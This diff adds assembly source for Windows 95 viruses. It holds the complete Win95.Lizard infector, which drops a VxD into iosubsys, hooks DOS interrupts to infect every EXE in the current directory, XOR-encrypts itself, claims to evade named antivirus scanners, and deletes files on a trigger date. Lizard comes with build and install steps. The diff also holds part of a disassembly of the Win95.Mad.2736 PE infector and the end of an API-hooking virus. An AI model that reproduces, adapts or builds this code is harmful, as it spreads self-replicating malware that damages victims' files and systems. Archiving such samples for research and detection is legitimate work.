getdelta2:pop eax
|
||||
sub eax,offset getdelta2
|
||||
|
||||
|
||||
pop dword ptr [eax+dirretorno]
|
||||
call dword ptr [eax+newCreateProcessA] ;llamo a la api
|
||||
|
||||
push ebp
|
||||
call getdelta3 ;obtengo el delta otra vez
|
||||
getdelta3:pop ebp
|
||||
sub ebp,offset getdelta3
|
||||
|
||||
pushad
|
||||
|
||||
lea esi,ebp+PARCHE
|
||||
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
|
||||
mov ecx,010h ;el parche ;del api
|
||||
rep movsb
|
||||
popad
|
||||
pop ebp
|
||||
db 068h ;opcode de un push
|
||||
dirretorno dd 00h
|
||||
ret
|
||||
|
||||
lectura: ;Llamada al api ReadFile
|
||||
push large 0 ;En ecx: Numero de bytes a leer
|
||||
lea eax,[ebp +IOBYTES] ;En edx: el offset del buffer
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push dword ptr [ebp + ahand]
|
||||
call dword ptr [ebp + newReadFile]
|
||||
ret
|
||||
|
||||
moverpuntero: ;Llamada al api SetFilePointer
|
||||
push LARGE 0 ;en edx: el offset del archivo
|
||||
push LARGE 0
|
||||
push edx
|
||||
push dword ptr [ebp + ahand]
|
||||
call dword ptr [EBP + newSetFilePointer]
|
||||
ret
|
||||
|
||||
escritura: ;Llamada al api WriteFile
|
||||
;en ecx: bytes a escribir
|
||||
;en edx: offset del buffer
|
||||
push LARGE 0
|
||||
LEA eax,[ebp + IOBYTES]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push dword ptr [ebp + ahand]
|
||||
call dword ptr [ebp + newWriteFile]
|
||||
jur: ret
|
||||
|
||||
endhook:
|
||||
endvirii:
|
||||
end:
|
||||
end startvirii
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
627
LegacyWindows/Win95.Lizard.asm
Normal file
627
LegacyWindows/Win95.Lizard.asm
Normal file
@ -0,0 +1,627 @@
|
||||
;Win95.Lizard
|
||||
;-----------------------------------------------------------------------------
|
||||
;Lizard by Reptile/29A (another version ;)
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
; 22222 99999 AAAAA
|
||||
; 222 222 999 999 AAA AAA
|
||||
; 222 999999 AAAAAAA
|
||||
; 222 999 AAA AAA
|
||||
; 2222222 999999 AAA AAA
|
||||
|
||||
;This is an encrypted vxd direct action dos exe infector (I added some anti-
|
||||
;heuristics and other stuff and optimized the code of v1.0).
|
||||
|
||||
;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
|
||||
;available one of the three dirs and then returns back to the host. After the
|
||||
;next reboot...
|
||||
|
||||
;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
|
||||
;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
|
||||
;or the registry). Then the virus takes control and hooks the V86 interrupt
|
||||
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
|
||||
;and on find first file (4eh) using direct action techniques to infect all
|
||||
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
|
||||
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
|
||||
;bytes.
|
||||
|
||||
;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
|
||||
;detect it (all for win95).
|
||||
|
||||
;Compiling lzd.vxd (win95 DDK):
|
||||
;makefile
|
||||
|
||||
;Compiling rmlzd.inc:
|
||||
;tasm /m2 rmlzd.asm
|
||||
;tlink /t rmlzd.obj
|
||||
;file2db rmlzd.com (or another db generator)
|
||||
;modify rmlzd.dat
|
||||
|
||||
;To install copy lzd.vxd to one of the following dirs:
|
||||
;- c:\windows\system\iosubsys
|
||||
;- c:\win95\system\iosubsys
|
||||
;- c:\windows.000\system\iosubsys
|
||||
;...or start lizard.exe :)
|
||||
|
||||
;P.S.:
|
||||
;Sandy: are u lucky now? ;)
|
||||
;Jacky: thanx for testing it!
|
||||
;GriYo: the stack stuff really didn't work :P
|
||||
|
||||
;P.P.S:
|
||||
;TrY MaGiC MuShRoOmS...
|
||||
|
||||
;---[LZD.ASM]-----------------------------------------------------------------
|
||||
|
||||
.386p
|
||||
|
||||
.xlist
|
||||
include vmm.inc
|
||||
.list
|
||||
|
||||
vxdhsize equ 701
|
||||
vxddsize equ 81
|
||||
vxdcsize equ 880
|
||||
esize equ encend - encstart
|
||||
vsize equ vend - start
|
||||
|
||||
Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
|
||||
Undefined_Init_Order,,
|
||||
|
||||
VxD_Locked_Data_Seg
|
||||
wcard db '*.e?e',0 ;*.l?z
|
||||
include rmlzd.inc ;realmode code
|
||||
dflag db 0
|
||||
pflag db 0
|
||||
ndta db 43 dup (?)
|
||||
header db 26 dup (?)
|
||||
VxD_Locked_Data_Ends
|
||||
;-----------------------------------------------------------------------------
|
||||
VxD_Locked_Code_Seg
|
||||
BeginProc LZD_Device_Init
|
||||
;trigger
|
||||
mov ah,2ah ;get date
|
||||
vxdint 21h
|
||||
;live drazil si
|
||||
cmp dh,10 ;26.10.?
|
||||
jne npload
|
||||
cmp dl,26
|
||||
jne npload
|
||||
|
||||
mov pflag,1 ;hehe
|
||||
|
||||
npload:
|
||||
mov eax,21h ;install int 21h handler
|
||||
mov esi,offset32 int21h
|
||||
VMMcall Hook_V86_Int_Chain
|
||||
clc
|
||||
ret
|
||||
EndProc LZD_Device_Init
|
||||
;-----------------------------------------------------------------------------
|
||||
BeginProc int21h
|
||||
cmp [ebp.Client_AH],4bh ;exec
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],3ch ;create
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],6ch ;ext. open
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],3eh ;close
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],4eh ;find first
|
||||
je short ww
|
||||
jmp prevhook
|
||||
|
||||
ww:
|
||||
Push_Client_State ;save regs
|
||||
VMMcall Begin_Nest_Exec
|
||||
;-----------------------------------------------------------------------------
|
||||
cmp dflag,1
|
||||
je done
|
||||
mov ax,3d02h ;open lzd.vxd
|
||||
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
|
||||
vxdint 21h
|
||||
jnc short rd
|
||||
|
||||
mov ax,3d02h ;open the vxd
|
||||
lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
|
||||
vxdint 21h
|
||||
jnc short rd
|
||||
|
||||
mov ax,3d02h ;open the vxd
|
||||
lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
|
||||
vxdint 21h
|
||||
jc ecsit ;skip it
|
||||
|
||||
rd:
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh ;store the header of the vxd
|
||||
mov cx,vxdhsize
|
||||
lea edx,vxdheader
|
||||
vxdint 21h
|
||||
|
||||
mov ax,4201h ;jmp over zeros
|
||||
xor cx,cx
|
||||
mov dx,3400
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3fh ;store the vxddata
|
||||
mov cx,vxddsize
|
||||
lea edx,vxddata
|
||||
vxdint 21h
|
||||
|
||||
mov ax,4201h ;jmp over realmodecode and zeros
|
||||
xor cx,cx
|
||||
mov dx,2037
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3fh ;store the vxdcode
|
||||
mov cx,vxdcsize
|
||||
lea edx,vxdcode
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3eh ;close...
|
||||
vxdint 21h
|
||||
|
||||
mov dflag,1 ;set flag
|
||||
;-----------------------------------------------------------------------------
|
||||
done:
|
||||
mov ah,1ah ;set dta
|
||||
lea edx,ndta
|
||||
vxdint 21h
|
||||
|
||||
ffirst:
|
||||
mov ah,4eh ;search for first exe
|
||||
jmp short w
|
||||
fnext:
|
||||
mov ah,4fh ;find next exe
|
||||
w:
|
||||
mov cx,7
|
||||
lea edx,wcard ;*.e?e
|
||||
vxdint 21h
|
||||
jc ecsit
|
||||
|
||||
mov ax,4301h ;set normal attribute
|
||||
mov cx,20h
|
||||
lea edx,[ndta + 30]
|
||||
vxdint 21h
|
||||
|
||||
cmp pflag,1 ;sux0ring microsuckers
|
||||
jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
|
||||
|
||||
evil:
|
||||
;evil payload against the imperialism of microsoft!
|
||||
mov ah,41h ;yhcrana
|
||||
lea edx,[ndta + 30]
|
||||
vxdint 21h
|
||||
jmp ecsit
|
||||
|
||||
pheeew:
|
||||
mov ax,3d02h ;open the victim
|
||||
lea edx,[ndta + 30]
|
||||
vxdint 21h
|
||||
jc fnext
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh ;read header
|
||||
mov cx,26
|
||||
lea edx,header
|
||||
vxdint 21h
|
||||
|
||||
cmp word ptr [header],'ZM' ;exe?
|
||||
jne cfile
|
||||
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
|
||||
jne cfile
|
||||
cmp word ptr [header + 18h],40h ;win exe?
|
||||
je cfile
|
||||
mov al,[header + 12h] ;infected?
|
||||
or al,al
|
||||
jne cfile
|
||||
|
||||
;save ss:sp
|
||||
mov ax,word ptr [header + 0eh]
|
||||
mov sseg,ax
|
||||
mov ax,word ptr [header + 10h]
|
||||
mov ssp,ax
|
||||
|
||||
;save cs:ip
|
||||
mov eax,dword ptr [header + 14h]
|
||||
mov csip,eax
|
||||
|
||||
mov ax,4202h ;eof
|
||||
xor cx,cx
|
||||
cwd
|
||||
vxdint 21h
|
||||
|
||||
;calc new cs:ip
|
||||
mov cx,16
|
||||
div cx
|
||||
sub ax,word ptr [header + 8]
|
||||
|
||||
mov word ptr [header + 14h],dx
|
||||
mov word ptr [header + 16h],ax
|
||||
|
||||
add edx,vend ;calc stack
|
||||
|
||||
mov word ptr [header + 0eh],ax
|
||||
mov word ptr [header + 10h],dx
|
||||
|
||||
;xor encryption
|
||||
rdnm:
|
||||
in al,40h
|
||||
or al,al
|
||||
je rdnm
|
||||
mov [encval],al ;save random value
|
||||
|
||||
mov edi,offset32 encstart
|
||||
mov cx,esize
|
||||
xl:
|
||||
xor [edi],al
|
||||
inc edi
|
||||
loop xl
|
||||
|
||||
;write virus
|
||||
mov ah,40h
|
||||
mov cx,vsize
|
||||
mov edx,offset32 start
|
||||
vxdint 21h
|
||||
|
||||
;undo
|
||||
mov al,[encval]
|
||||
mov edi,offset32 encstart
|
||||
mov cx,esize
|
||||
|
||||
xll:
|
||||
xor [edi],al
|
||||
inc edi
|
||||
loop xll
|
||||
|
||||
mov ax,4202h ;eof
|
||||
xor cx,cx
|
||||
cwd
|
||||
vxdint 21h
|
||||
|
||||
mov cx,512 ;calc pages
|
||||
div cx
|
||||
or dx,dx
|
||||
jz short np
|
||||
inc ax
|
||||
np:
|
||||
mov word ptr [header + 4],ax
|
||||
mov word ptr [header + 2],dx
|
||||
|
||||
mov ax,4200h ;bof
|
||||
xor cx,cx
|
||||
cwd
|
||||
vxdint 21h
|
||||
|
||||
rnd:
|
||||
in al,40h ;set infection flag
|
||||
or al,al
|
||||
je rnd
|
||||
mov [header + 12h],al
|
||||
|
||||
mov ah,40h ;write new header
|
||||
mov cx,26
|
||||
lea edx,header
|
||||
vxdint 21h
|
||||
|
||||
cfile:
|
||||
mov cl,byte ptr [ndta + 21] ;restore attribute
|
||||
lea edx,[ndta + 1eh]
|
||||
mov ax,4301h
|
||||
vxdint 21h
|
||||
|
||||
mov cx,word ptr [ndta + 22] ;restore time/date
|
||||
mov dx,word ptr [ndta + 24]
|
||||
mov ax,5701
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3eh ;close file
|
||||
vxdint 21h
|
||||
jmp fnext
|
||||
|
||||
ecsit:
|
||||
VMMcall End_Nest_Exec
|
||||
Pop_Client_State
|
||||
|
||||
prevhook:
|
||||
stc
|
||||
ret
|
||||
EndProc int21h
|
||||
;-----------------------------------------------------------------------------
|
||||
BeginProc LZD_Control
|
||||
Control_Dispatch Init_Complete,LZD_Device_Init
|
||||
clc
|
||||
ret
|
||||
EndProc LZD_Control
|
||||
wb db 13,10,'Lizard by Reptile/29A',0
|
||||
VxD_Locked_Code_Ends
|
||||
End ;this is the end my only friend the end...
|
||||
|
||||
;---[RMLZD.ASM]---------------------------------------------------------------
|
||||
|
||||
;Lizard's real mode portion
|
||||
|
||||
.286
|
||||
|
||||
vxdhsize equ 701
|
||||
vxddsize equ 81
|
||||
vxdcsize equ 880
|
||||
esize equ encend - encstart
|
||||
rmsize equ rmend - rmstart
|
||||
|
||||
.model tiny
|
||||
|
||||
.code
|
||||
org 100h
|
||||
start:
|
||||
rmstart:
|
||||
;get delta
|
||||
;-----------------------------------------------------------------------------
|
||||
call $ + 3
|
||||
drazil:
|
||||
pop si
|
||||
sub si,offset drazil
|
||||
push si
|
||||
pop bp
|
||||
;-----------------------------------------------------------------------------
|
||||
push ds ;coz psp
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
;decrypt it
|
||||
db 176 ;mov al
|
||||
encval db 0
|
||||
;-----------------------------------------------------------------------------
|
||||
lea di,[bp + offset encstart]
|
||||
mov cx,esize
|
||||
xd:
|
||||
jmp fj
|
||||
fj2:
|
||||
inc di
|
||||
loop xd
|
||||
jmp encstart
|
||||
fj:
|
||||
xor [di],al
|
||||
jmp fj2
|
||||
;-----------------------------------------------------------------------------
|
||||
encstart:
|
||||
mov ax,3d00h ;try to open lzd.vxd in
|
||||
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
|
||||
int 21h
|
||||
jnc cfile ;exit if already installed
|
||||
mov ah,3ch ;install lzd.vxd
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jnc inst
|
||||
|
||||
mov ax,3d00h ;try to open lzd.vxd in
|
||||
lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
|
||||
int 21h
|
||||
jnc cfile
|
||||
mov ah,3ch
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jnc inst
|
||||
|
||||
mov ax,3d00h ;try to open lzd.vxd in
|
||||
lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
|
||||
int 21h
|
||||
jnc cfile
|
||||
mov ah,3ch
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
inst:
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,40h ;write the header
|
||||
mov cx,vxdhsize
|
||||
lea dx,[bp + offset vxdheader]
|
||||
int 21h
|
||||
|
||||
;write some zeros
|
||||
mov cx,3400
|
||||
lzero:
|
||||
push cx
|
||||
mov ah,40h
|
||||
mov cx,1
|
||||
lea dx,[bp + zero]
|
||||
int 21h
|
||||
pop cx
|
||||
loop lzero
|
||||
|
||||
mov ah,40h ;write the data
|
||||
mov cx,vxddsize
|
||||
lea dx,[bp + offset vxddata]
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write the rmcode
|
||||
mov cx,rmsize
|
||||
lea dx,[bp + offset rmstart]
|
||||
int 21h
|
||||
|
||||
;write some more zeros
|
||||
mov cx,1732
|
||||
lzero2:
|
||||
push cx
|
||||
mov ah,40h
|
||||
mov cx,1
|
||||
lea dx,[bp + zero]
|
||||
int 21h
|
||||
pop cx
|
||||
loop lzero2
|
||||
|
||||
mov ah,40h ;write the code
|
||||
mov cx,vxdcsize
|
||||
lea dx,[bp + offset vxdcode]
|
||||
int 21h
|
||||
|
||||
cfile:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
;exe return
|
||||
exit:
|
||||
pop ax ;psp
|
||||
add ax,11h
|
||||
dec ax
|
||||
add word ptr [bp + offset csip + 2],ax
|
||||
|
||||
;stack
|
||||
db 5 ;add ax
|
||||
sseg dw 0fff0h ;test
|
||||
mov ss,ax
|
||||
|
||||
db 0bch ;mov sp
|
||||
ssp dw 0fffeh
|
||||
|
||||
db 0eah
|
||||
csip dd 0fff00000h
|
||||
|
||||
zero db 0
|
||||
|
||||
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
|
||||
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
|
||||
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
|
||||
rmend:
|
||||
vxdheader db vxdhsize dup (?)
|
||||
vxddata db vxddsize dup (?)
|
||||
vxdcode db vxdcsize dup (?)
|
||||
encend:
|
||||
ends
|
||||
end start
|
||||
|
||||
;---[RMLZD.INC]---------------------------------------------------------------
|
||||
|
||||
;Modified db listing of rmlzd.com
|
||||
|
||||
start:
|
||||
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
|
||||
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
|
||||
;db 000h
|
||||
encval db 0
|
||||
db 08Dh
|
||||
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
|
||||
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
|
||||
db 0F7h
|
||||
encstart:
|
||||
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
|
||||
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
|
||||
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
|
||||
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
|
||||
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
|
||||
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
|
||||
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
|
||||
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
|
||||
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
|
||||
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
|
||||
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
|
||||
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
|
||||
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
|
||||
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
|
||||
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
|
||||
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
|
||||
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
|
||||
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
|
||||
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
|
||||
db
|
||||
;db 0F0h, 0FFh
|
||||
sseg dw 0fff0h ;not necessary
|
||||
db 08Eh, 0D0h, 0BCh
|
||||
;db 0FEh, 0FFh
|
||||
ssp dw 0fffeh
|
||||
db
|
||||
;db 000h, 000h, 0F0h, 0FFh
|
||||
csip dd 0fff00000h
|
||||
db 000h
|
||||
;db 063h, 03Ah
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
|
||||
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
|
||||
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
|
||||
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
|
||||
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
|
||||
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
|
||||
vxdheader db vxdhsize dup (?)
|
||||
vxddata db vxddsize dup (?)
|
||||
vxdcode db vxdcsize dup (?)
|
||||
encend:
|
||||
vend:
|
||||
|
||||
;---[LZD.DEF]-----------------------------------------------------------------
|
||||
|
||||
VXD LZD DYNAMIC
|
||||
DESCRIPTION ''
|
||||
SEGMENTS
|
||||
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_ITEXT CLASS 'ICODE' DISCARDABLE
|
||||
_IDATA CLASS 'ICODE' DISCARDABLE
|
||||
_PTEXT CLASS 'PCODE' NONDISCARDABLE
|
||||
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
|
||||
_STEXT CLASS 'SCODE' RESIDENT
|
||||
_SDATA CLASS 'SCODE' RESIDENT
|
||||
_DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
|
||||
_DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
|
||||
_DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
|
||||
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
|
||||
_RCODE CLASS 'RCODE'
|
||||
|
||||
EXPORTS
|
||||
LZD_DDB @1
|
||||
|
||||
;---[MAKEFILE]----------------------------------------------------------------
|
||||
|
||||
NAME = lzd
|
||||
|
||||
LINK = LINK
|
||||
|
||||
ASM = ml
|
||||
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
|
||||
ASMENV = ML
|
||||
LFLAGS = /VXD /NOD
|
||||
|
||||
.asm.obj:
|
||||
set $(ASMENV)=$(AFLAGS)
|
||||
$(ASM) -Fo$*.obj $<
|
||||
|
||||
all : $(NAME).VXD
|
||||
|
||||
OBJS = lzd.obj
|
||||
|
||||
lzd.obj: lzd.asm
|
||||
|
||||
$(NAME).VxD: $(NAME).def $(OBJS)
|
||||
link @<<$(NAME).lnk
|
||||
$(LFLAGS)
|
||||
/OUT:$(NAME).VxD
|
||||
/MAP:$(NAME).map
|
||||
/DEF:$(NAME).def
|
||||
$(OBJS)
|
||||
<<
|
||||
|
||||
@del *.exp>nul
|
||||
@del *.lib>nul
|
||||
@del *.map>nul
|
||||
@del *.obj>nul
|
||||
;...
|
525
LegacyWindows/Win95.Mad.2736.asm
Normal file
525
LegacyWindows/Win95.Mad.2736.asm
Normal file
@ -0,0 +1,525 @@
|
||||
;Win95.Mad.2736 disassembly
|
||||
;(c) Vecna/29A
|
||||
|
||||
;Here is the disassembly of one of the first Win95 virus, that implemented
|
||||
;several original features. It was the first encripted win95 virus, and
|
||||
;the second one to not add a new section to the host (the first according
|
||||
;to AVPVE) the first was actually Win32.Jacky. When executed,
|
||||
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
|
||||
;and call they everytime that need get a function, instead of searching
|
||||
;once and storing the API address. Anyway, the API search dont seens reliable
|
||||
;enought, and i cant make it replicate in my machine.
|
||||
|
||||
;A special thank goes this time for VirusBuster, my virus provider, that
|
||||
;always have nice virii for me... :-)
|
||||
;Tasm /m w95mad.asm
|
||||
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
.data
|
||||
dd ?
|
||||
|
||||
.code
|
||||
|
||||
start:
|
||||
call delta
|
||||
delta:
|
||||
pop edi
|
||||
mov eax, edi
|
||||
old_RVA:
|
||||
sub eax, 2005h ;setup host entry point
|
||||
sub edi, offset delta
|
||||
mov ds:HostEntry[edi], eax
|
||||
mov ds:SaveEBP[edi], ebp
|
||||
mov ebp, edi
|
||||
xor eax, eax
|
||||
mov edi, offset start_encript
|
||||
add edi, ebp
|
||||
mov ecx, 0A6Bh
|
||||
mov al, ss:Key[ebp]
|
||||
decript_loop:
|
||||
xor [edi], al
|
||||
inc edi
|
||||
loop decript_loop
|
||||
jmp short start_encript
|
||||
|
||||
HostEntry dd 0
|
||||
SaveEBP dd 0
|
||||
Key db 0
|
||||
|
||||
start_encript:
|
||||
mov ss:TotalInf[ebp], 0
|
||||
mov eax, 4550h
|
||||
mov edi, 0BFF70000h
|
||||
mov ecx, 1000h
|
||||
cld
|
||||
search_kernel:
|
||||
repne scasw
|
||||
jnz return_host
|
||||
add ss:Seed[ebp], edi
|
||||
dec edi
|
||||
dec edi
|
||||
cmp word ptr [edi+4], 14Ch
|
||||
jnz short search_kernel
|
||||
cmp word ptr [edi+14h], 0
|
||||
jz short search_kernel
|
||||
mov bx, [edi+16h]
|
||||
and bx, 0F000h
|
||||
cmp bx, 2000h ;is a DLL?
|
||||
jnz short search_kernel
|
||||
cmp dword ptr [edi+34h], 0BFF70000h
|
||||
jl short search_kernel
|
||||
mov eax, [edi+34h]
|
||||
mov ss:KernelBase[ebp], eax
|
||||
xor eax, eax
|
||||
mov ax, [edi+14h]
|
||||
add eax, edi
|
||||
add eax, 18h
|
||||
mov cx, [edi+6] ;number of sections
|
||||
search_edata:
|
||||
cmp dword ptr [eax], 'ADE.'
|
||||
jnz short no_edata
|
||||
cmp dword ptr [eax+4], 'AT' ;search all sectionz for the
|
||||
jz short found_export ;export section
|
||||
no_edata:
|
||||
add eax, 28h
|
||||
dec cx
|
||||
or cx, cx
|
||||
jnz short search_edata
|
||||
jmp return_host
|
||||
|
||||
found_export:
|
||||
mov ebx, [eax+0Ch]
|
||||
add ebx, ss:KernelBase[ebp]
|
||||
mov edi, [ebx+20h]
|
||||
add edi, ss:KernelBase[ebp]
|
||||
mov ecx, [ebx+14h]
|
||||
sub ecx, [ebx+18h]
|
||||
mov eax, 4
|
||||
mul ecx
|
||||
mov ss:pAPIRVA[ebp], eax
|
||||
mov ecx, [ebx+18h]
|
||||
mov eax, 4
|
||||
mul ecx
|
||||
xchg eax, ecx
|
||||
xchg edi, edx
|
||||
|
||||
search_APIs:
|
||||
sub ecx, 4
|
||||
mov edi, edx
|
||||
add edi, ecx
|
||||
mov edi, [edi]
|
||||
add edi, ss:KernelBase[ebp]
|
||||
lea esi, szGetProcAddres[ebp]
|
||||
lea eax, pGetProcAddress[ebp]
|
||||
call extract_addr
|
||||
lea eax, pGetModuleHdle[ebp]
|
||||
lea esi, szGetModuleHdle[ebp]
|
||||
call extract_addr
|
||||
cmp ecx, 0
|
||||
jnz short search_APIs
|
||||
cmp ss:pGetProcAddress[ebp], 0
|
||||
jz return_host
|
||||
cmp ss:pGetModuleHdle[ebp], 0
|
||||
jz return_host
|
||||
lea eax, _Kernel32[ebp]
|
||||
push eax
|
||||
mov eax, ss:pGetModuleHdle[ebp]
|
||||
call eax
|
||||
mov ss:KernelHandle[ebp], eax
|
||||
cmp eax, 0
|
||||
jz return_host
|
||||
lea eax, _GetDir[ebp]
|
||||
call get_api_addr
|
||||
jb _check_payload
|
||||
lea edx, CurrentDir[ebp]
|
||||
push edx
|
||||
push 0FFh ;save current directory
|
||||
call eax
|
||||
|
||||
find_filez:
|
||||
lea eax, _FFile[ebp]
|
||||
call get_api_addr
|
||||
jb no_payload
|
||||
mov edx, offset FINDATA ;start of find struct
|
||||
add edx, ebp
|
||||
push edx
|
||||
mov edx, offset ExeMask
|
||||
add edx, ebp
|
||||
push edx
|
||||
call eax
|
||||
mov ss:SearchHandle[ebp], eax
|
||||
cmp eax, 0FFFFFFFFh
|
||||
jz change_dir ;error, then go down a dir
|
||||
|
||||
infect_next:
|
||||
mov eax, dword ptr ss:FileName[ebp]
|
||||
xor ss:Seed[ebp], eax
|
||||
cmp eax, 186A0h
|
||||
jnb error_close
|
||||
cmp ss:Security[ebp], 0 ;maybe a safeguard flag?
|
||||
jnz error_close ;win95 never set this, so
|
||||
lea eax, _CreateFile[ebp] ;probably is a safeguard
|
||||
call get_api_addr ;to no infect own hdd
|
||||
jb no_payload
|
||||
push 0
|
||||
push ss:FINDATA[ebp]
|
||||
push 3
|
||||
push 0
|
||||
push 0
|
||||
push 0C0000000h
|
||||
mov edx, offset FileName2
|
||||
add edx, ebp
|
||||
push edx
|
||||
call eax
|
||||
cmp eax, 0FFFFFFFFh
|
||||
jz find_next
|
||||
mov ss:FileHandle[ebp], eax
|
||||
mov edi, 3Ch
|
||||
call file_seek
|
||||
mov edi, offset PEPointer
|
||||
add edi, ebp
|
||||
mov ecx, 4
|
||||
call read_file
|
||||
jb error_close
|
||||
mov edi, ss:PEPointer[ebp]
|
||||
call file_seek
|
||||
mov edi, offset PEHeader
|
||||
add edi, ebp
|
||||
mov ecx, 8D0h
|
||||
call read_file
|
||||
cmp ss:PEHeader[ebp], 4550h
|
||||
jnz error_close
|
||||
cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95
|
||||
jz error_close
|
||||
xor esi, esi
|
||||
xor eax, eax
|
||||
mov ax, ss:NumberSections[ebp]
|
||||
dec ax
|
||||
mov ecx, 28h
|
||||
xor edx, edx
|
||||
mul ecx
|
||||
mov si, ax
|
||||
mov eax, 0BB8h
|
||||
mov ecx, ss:FileAlign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
add ss:szRVA[ebp+esi], eax ;virtual size of section
|
||||
mov eax, 7D0h
|
||||
mov ecx, ss:ObjAlign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov edx, ss:pRAW[ebp+esi] ;pointer to raw data
|
||||
mov ecx, edx
|
||||
add edx, ss:szRAW[ebp+esi] ;size of raw data
|
